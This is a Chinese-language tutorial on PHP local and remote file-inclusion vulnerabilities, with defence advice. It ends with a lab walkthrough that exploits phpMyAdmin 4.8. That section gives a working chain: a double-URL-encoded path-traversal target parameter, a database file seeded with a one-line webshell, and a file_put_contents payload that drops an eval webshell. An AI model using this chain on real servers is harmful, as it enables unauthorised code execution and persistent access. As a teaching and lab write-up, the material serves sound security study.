什么是文件包含
为了防止程序代码冗余,只要使用文件包含处理功能,将所需文件包含进来即可,不必再重复定义它们,从而减少重复劳动和定义不一致造成的错误。
常见的导致文件包含的函数
include()
- 遇到要包含的文件临时去加载去引用。
- 当引用的文件发生错误时,系统只会给出个警告错误,而整个php文件会继续执行。
require()
-
在当前的PHP运行前就先去读取要包含的文件,然后一齐执行。
在php文件被执行之前,php解析器会用被引用的文件的全部内容替换require语句,然后与require语句之外的其他语句组成个新的php文件,最好后按新的php文件执行程序代码。
-
遇到报错后会不往下执行。
include_once()
- 先检测该文件是否在该页面的其他部分被引用过,如果有,则不会重复引用该文件,程序只能引用一次。
- 如果在同一个程序中重复导入这个文件,在第二次导入时便会发生错误,php不允许相同名称的函数被重复声明。
require_once()
- 先会检查要引用的文件是不是已将在该程序中的其他地方被引用过,如果有,则不会在重复调用该文件。
- 使用require_once语句在同一页面中引用了两个相同的文件,那么在输出时,只有第一个文件被执行,第二个引用的文件则不会被执行.
文件包含获取 webshell 的条件
(1)攻击者需要知道文件存放的物理路径;
(2)对上传文件所在目录拥有可执行权限;
(3)存在文件包含漏洞;
任意文件包含漏洞
由于对包含进来的文件不可控,导致了文件包含漏洞的产生。即对文件包含控制不严格,最终造成攻击者进行任意文件包含。
远程文件包含(RFI)
无论文件在哪里只要能访问到就行。
PHP默认不开启,开启需要allow_url_include = On。
本地文件包含(LFI)
要包含的文件必须在目标主机上。
危害
任何文件都可以被当作php执行。例如:上传—个JPG图片,然后里面写一个一句话木马,正常而言jpg不会当作php执行,但是如果可以包含那么就可以执行了。如果远程的话,可以直接读取服务器上的txt文件来进行执行
防御
- 无需情况下设置allow_url_include和allow_url_fopen为关闭
- 对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir
- 建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现../之类的目录跳转符。
- 严格检查include类的文件包含函数中的参数是否外界可控。
靶场
phpmyadmin4.8及其以下存在的漏洞
文件包含进来target参数需要满足条件如下:
- 不为空
- 是一个字符串
- 不能以index开头
- 不能在 $target_blacklist数组里面(即不能为import.php,export.php)
- 满足Core类里面的checkPageValidity()函数检查
返回true需要满足的条件:
- $page变量值在 $white_list数组中
- 经过mb_substr()和mb_strpos()处理的$page–>$_page的变量值在$_whitelist数组中
- 经过urldecode(),mb_substr(),mb_strpos()处理的$page–>$_page的变量值在$_whitelist数组中
下面利用条件三来进行文件包含漏洞利用:
数据库中建一个表,写入一句话木马
数据库数据的物理位置
下面构造语句:
?target= #为target传参
db_sql.php%253f #url自动编码,所以我们需要对?二次编码
asd/../../../../../../../../../../phpstudy/Mysql/data/test/ceshi.frm #回退到最高目录,再进到数据库目录中
&8=file_put_contents('LFI.php','<?php eval($_REQUEST[8])?>'); #通过一句话木马在当前文件夹写入一个一句话木马方便连接
执行
木马写入成功
木马连接成功,并找到flag